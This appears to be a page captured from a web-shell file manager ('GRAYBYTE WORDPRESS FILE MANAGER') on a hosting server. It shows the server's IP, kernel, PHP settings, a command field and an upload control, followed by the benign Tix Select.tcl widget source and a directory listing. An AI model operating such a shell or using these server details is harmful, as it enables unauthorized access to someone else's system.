GRAYBYTE WORDPRESS FILE MANAGER1610

Server IP : 198.54.121.189 / Your IP : 216.73.216.34
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /lib64/tcl8.6/Tix8.4.3/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /lib64/tcl8.6/Tix8.4.3//Select.tcl
# -*- mode: TCL; fill-column: 75; tab-width: 8; coding: iso-latin-1-unix -*-
#
#	$Id: Select.tcl,v 1.3 2001/12/09 05:04:02 idiscovery Exp $
#
# Select.tcl --
#
#	Implement the tixSelect widget.
#
# Copyright (c) 1993-1999 Ioi Kim Lam.
# Copyright (c) 2000-2001 Tix Project Group.
#
# See the file "license.terms" for information on usage and redistribution
# of this file, and for a DISCLAIMER OF ALL WARRANTIES.
#

tixWidgetClass tixSelect {
    -superclass tixLabelWidget
    -classname  TixSelect
    -method {
	add button invoke
    }
    -flag {
	-allowzero -buttontype -command -disablecallback -orientation
	-orient -padx -pady -radio -selectedbg -state -validatecmd
	-value -variable
    }
    -forcecall {
	-variable -state
    }
    -static {
	-allowzero -orientation -padx -pady -radio
    }
    -configspec {
	{-allowzero allowZero AllowZero 0 tixVerifyBoolean}
	{-buttontype buttonType ButtonType button}
	{-command command Command ""}
	{-disablecallback disableCallback DisableCallback 0 tixVerifyBoolean}
	{-orientation orientation Orientation horizontal}
	{-padx padx Pad 0}
	{-pady pady Pad 0}
	{-radio radio Radio 0 tixVerifyBoolean}
	{-selectedbg selectedBg SelectedBg gray}
	{-state state State normal}
	{-validatecmd validateCmd ValidateCmd ""}
	{-value value Value ""}
	{-variable variable Variable ""}
    }
    -alias {
	{-orient -orientation}
    }
    -default {
	{*frame.borderWidth			1}
	{*frame.relief				sunken}
	{*Button.borderWidth			2}
	{*Button.highlightThickness		0}
    }
}

proc tixSelect:InitWidgetRec {w} {
    upvar #0 $w data

    tixChainMethod $w InitWidgetRec
    set data(items)    ""
    set data(buttonbg) ""
    set data(varInited)	  0
}

#----------------------------------------------------------------------
#                           CONFIG OPTIONS
#----------------------------------------------------------------------
proc tixSelect:config-state {w arg} {
    upvar #0 $w data

    if {$arg == "disabled"} {
	foreach item $data(items) {
	    $data(w:$item) config -state disabled -relief raised \
		-bg $data(buttonbg)
	}
	if {![info exists data(labelFg)]} {
	    set data(labelFg) [$data(w:label) cget -foreground]
	    catch {
		$data(w:label) config -fg [tix option get disabled_fg]
	    }
	}
    } else {
	foreach item $data(items) {
	    if {[lsearch $data(-value) $item] != -1} {
		# This button is selected
		#
		$data(w:$item) config -relief sunken -bg $data(-selectedbg) \
		    -state normal
	    } else {
		$data(w:$item) config -relief raised -bg $data(buttonbg) \
		    -command "$w invoke $item" -state normal
	    }
	}
	if {[info exists data(labelFg)]} {
	    catch {
		$data(w:label) config -fg $data(labelFg)
	    }
	    unset data(labelFg)
	}
    }

    return ""
}

proc tixSelect:config-variable {w arg} {
    upvar #0 $w data

    set oldValue $data(-value)

    if {[tixVariable:ConfigVariable $w $arg]} {
	# The value of data(-value) is changed if tixVariable:ConfigVariable 
	# returns true
	set newValue $data(-value)
	set data(-value) $oldValue
	tixSelect:config-value $w $newValue
    }
    catch {
	unset data(varInited)
    }
    set data(-variable) $arg
}

proc tixSelect:config-value {w value} {
    upvar #0 $w data

    # sanity checking
    #
    foreach item $value {
	if {[lsearch $data(items) $item] == "-1"} {
	    error "subwidget \"$item\" does not exist"
	}
    }

    tixSelect:SetValue $w $value
}

#----------------------------------------------------------------------
#                     WIDGET COMMANDS
#----------------------------------------------------------------------
proc tixSelect:add {w name args} {
    upvar #0 $w data

    set data(w:$name) [eval $data(-buttontype) $data(w:frame).$name -command \
	 [list "$w invoke $name"] -takefocus 0 $args]

    if {$data(-orientation) == "horizontal"} {
	pack $data(w:$name) -side left -expand yes -fill y\
	    -padx $data(-padx) -pady $data(-pady)
    } else {
	pack $data(w:$name) -side top -expand yes  -fill x\
	    -padx $data(-padx) -pady $data(-pady)
    }

    if {$data(-state) == "disabled"} {
	$data(w:$name) config -relief raised -state disabled
    }

    # find out the background of the buttons
    #
    if {$data(buttonbg) == ""} {
	set data(buttonbg) [lindex [$data(w:$name) config -background] 4]
	
    }

    lappend data(items) $name
}

# Obsolete command
#
proc tixSelect:button {w name args} {
    upvar #0 $w data

    if {$args != ""} {
	return [eval $data(w:$name) $args]
    } else {
	return $w.$name
    }
}

# This is called when a button is invoked
#
proc tixSelect:invoke {w button} {
    upvar #0 $w data

    if {$data(-state) != "normal"} {
	return
    }

    set newValue $data(-value)

    if {[lsearch $data(-value) $button] != -1} {
	# This button was selected
	#
    	if {[llength $data(-value)] > 1 || [tixGetBoolean $data(-allowzero)]} {

	    # Take the button from the selected list
	    #
	    set newValue ""
	    foreach item $data(-value) {
		if {$item != $button} {
		    lappend newValue $item
		}
	    }
	}
    } else {
	# This button was not selected
	#
	if {[tixGetBoolean $data(-radio)]} {
	    # The button become the sole item in the list
	    #
	    set newValue [list $button]
	} else {
	    # Add this button into the list
	    #
	    lappend newValue $button
	}
    }

    if {$newValue != $data(-value)} {
	tixSelect:SetValue $w $newValue
    }
}

#----------------------------------------------------------------------
#                Private functions
#----------------------------------------------------------------------
proc tixSelect:SetValue {w newValue {noUpdate 0}} {
    upvar #0 $w data

    set oldValue $data(-value)

    if {$data(-validatecmd) != ""} {
       set data(-value) [tixEvalCmdBinding $w $data(-validatecmd) "" $newValue]
    } else {
	if {[tixGetBoolean $data(-radio)] && [llength $newValue] > 1} {
	    error "cannot choose more than one items in a radio box"
	}

	if {![tixGetBoolean $data(-allowzero)] && [llength $newValue] == 0} {
	    error "empty selection not allowed"
	}

	set data(-value) $newValue
    }

    if {! $noUpdate} {
	tixVariable:UpdateVariable $w
    }

    # Reset all to be unselected
    #
    foreach item $data(items) {
	if {[lsearch $data(-value) $item] == -1} {
	    # Is unselected
	    #
	    if {[lsearch $oldValue $item] != -1} {
		# was selected
		# -> popup the button, call command
		#
		$data(w:$item) config -relief raised -bg $data(buttonbg)
		tixSelect:CallCommand $w $item 0
	    }
	} else {
	    # Is selected
	    #
	    if {[lsearch $oldValue $item] == -1} {
		# was unselected
		# -> push down the button, call command
		#
		$data(w:$item) config -relief sunken -bg $data(-selectedbg)
		tixSelect:CallCommand $w  $item 1
	    }
	}
    }
}

proc tixSelect:CallCommand {w name value} {
    upvar #0 $w data

    if {!$data(-disablecallback) && $data(-command) != ""} {
	if {![info exists data(varInited)]} {
	    set bind(specs) "name value"
	    set bind(name)  $name
	    set bind(value) $value
	    tixEvalCmdBinding $w $data(-command) bind $name $value
	}
    }
}

proc tixSelect:Destructor {w} {

    tixVariable:DeleteVariable $w

    # Chain this to the superclass
    #
    tixChainMethod $w Destructor
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 03 2024 20:23:41
root / root
0755
bitmaps
--
March 03 2024 20:23:41
root / root
0755
html
--
October 22 2019 12:47:10
root / root
0755
pref
--
March 03 2024 20:23:41
root / root
0755
Balloon.tcl
12.974 KB
October 22 2019 12:47:10
root / root
0644
BtnBox.tcl
2.608 KB
October 22 2019 12:47:10
root / root
0644
CObjView.tcl
7.557 KB
October 22 2019 12:47:10
root / root
0644
ChkList.tcl
4.968 KB
October 22 2019 12:47:10
root / root
0644
ComboBox.tcl
35.421 KB
October 22 2019 12:47:10
root / root
0644
Compat.tcl
0.85 KB
October 22 2019 12:47:10
root / root
0644
Console.tcl
14.952 KB
October 22 2019 12:47:10
root / root
0644
Control.tcl
12.111 KB
October 22 2019 12:47:10
root / root
0644
DefSchm.tcl
2.942 KB
October 22 2019 12:47:10
root / root
0644
DialogS.tcl
4.195 KB
October 22 2019 12:47:10
root / root
0644
DirBox.tcl
5.298 KB
October 22 2019 12:47:10
root / root
0644
DirDlg.tcl
2.154 KB
October 22 2019 12:47:10
root / root
0644
DirList.tcl
6.898 KB
October 22 2019 12:47:10
root / root
0644
DirTree.tcl
8.762 KB
October 22 2019 12:47:10
root / root
0644
DragDrop.tcl
3.931 KB
October 22 2019 12:47:10
root / root
0644
DtlList.tcl
0.979 KB
October 22 2019 12:47:10
root / root
0644
EFileBox.tcl
11.123 KB
October 22 2019 12:47:10
root / root
0644
EFileDlg.tcl
1.678 KB
October 22 2019 12:47:10
root / root
0644
Event.tcl
5.108 KB
October 22 2019 12:47:10
root / root
0644
FileBox.tcl
14 KB
October 22 2019 12:47:10
root / root
0644
FileCbx.tcl
2.425 KB
October 22 2019 12:47:10
root / root
0644
FileDlg.tcl
2.134 KB
October 22 2019 12:47:10
root / root
0644
FileEnt.tcl
7.147 KB
October 22 2019 12:47:10
root / root
0644
FloatEnt.tcl
3.102 KB
October 22 2019 12:47:10
root / root
0644
Grid.tcl
21.157 KB
October 22 2019 12:47:10
root / root
0644
HList.tcl
17.723 KB
October 22 2019 12:47:10
root / root
0644
HListDD.tcl
4.395 KB
October 22 2019 12:47:10
root / root
0644
IconView.tcl
5.967 KB
October 22 2019 12:47:10
root / root
0644
Init.tcl
6.054 KB
October 22 2019 12:47:10
root / root
0644
LabEntry.tcl
2.093 KB
October 22 2019 12:47:10
root / root
0644
LabFrame.tcl
1.153 KB
October 22 2019 12:47:10
root / root
0644
LabWidg.tcl
3.858 KB
October 22 2019 12:47:10
root / root
0644
ListNBk.tcl
3.497 KB
October 22 2019 12:47:10
root / root
0644
Meter.tcl
3.041 KB
October 22 2019 12:47:10
root / root
0644
MultView.tcl
3.617 KB
October 22 2019 12:47:10
root / root
0644
NoteBook.tcl
6.016 KB
October 22 2019 12:47:10
root / root
0644
OldUtil.tcl
2.984 KB
October 22 2019 12:47:10
root / root
0644
OptMenu.tcl
9.172 KB
October 22 2019 12:47:10
root / root
0644
PanedWin.tcl
27.683 KB
October 22 2019 12:47:10
root / root
0644
PopMenu.tcl
5.371 KB
October 22 2019 12:47:10
root / root
0644
Primitiv.tcl
10.28 KB
October 22 2019 12:47:10
root / root
0644
README.txt
0.964 KB
October 22 2019 12:47:10
root / root
0644
ResizeH.tcl
12.937 KB
October 22 2019 12:47:10
root / root
0644
SGrid.tcl
5.796 KB
October 22 2019 12:47:10
root / root
0644
SHList.tcl
3.704 KB
October 22 2019 12:47:10
root / root
0644
SListBox.tcl
6.971 KB
October 22 2019 12:47:10
root / root
0644
STList.tcl
2.371 KB
October 22 2019 12:47:10
root / root
0644
SText.tcl
3.089 KB
October 22 2019 12:47:10
root / root
0644
SWidget.tcl
9.52 KB
October 22 2019 12:47:10
root / root
0644
SWindow.tcl
6.746 KB
October 22 2019 12:47:10
root / root
0644
Select.tcl
7.035 KB
October 22 2019 12:47:10
root / root
0644
Shell.tcl
1.057 KB
October 22 2019 12:47:10
root / root
0644
SimpDlg.tcl
1.13 KB
October 22 2019 12:47:10
root / root
0644
StackWin.tcl
1.945 KB
October 22 2019 12:47:10
root / root
0644
StatBar.tcl
1.308 KB
October 22 2019 12:47:10
root / root
0644
StdBBox.tcl
1.617 KB
October 22 2019 12:47:10
root / root
0644
StdShell.tcl
1.146 KB
October 22 2019 12:47:10
root / root
0644
TList.tcl
17.587 KB
October 22 2019 12:47:10
root / root
0644
Tix.tcl
9.509 KB
October 22 2019 12:47:10
root / root
0644
Tree.tcl
4.569 KB
October 22 2019 12:47:10
root / root
0644
Utils.tcl
10.535 KB
October 22 2019 12:47:10
root / root
0644
VResize.tcl
4.95 KB
October 22 2019 12:47:10
root / root
0644
VStack.tcl
9.425 KB
October 22 2019 12:47:10
root / root
0644
VTree.tcl
4.307 KB
October 22 2019 12:47:10
root / root
0644
Variable.tcl
2.503 KB
October 22 2019 12:47:10
root / root
0644
WInfo.tcl
0.942 KB
October 22 2019 12:47:10
root / root
0644
fs.tcl
3.901 KB
October 22 2019 12:47:10
root / root
0644
libTix.so
341.297 KB
October 22 2019 12:47:11
root / root
0755
license.terms
2.762 KB
October 22 2019 12:47:10
root / root
0644
pkgIndex.tcl
0.119 KB
October 22 2019 12:47:10
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF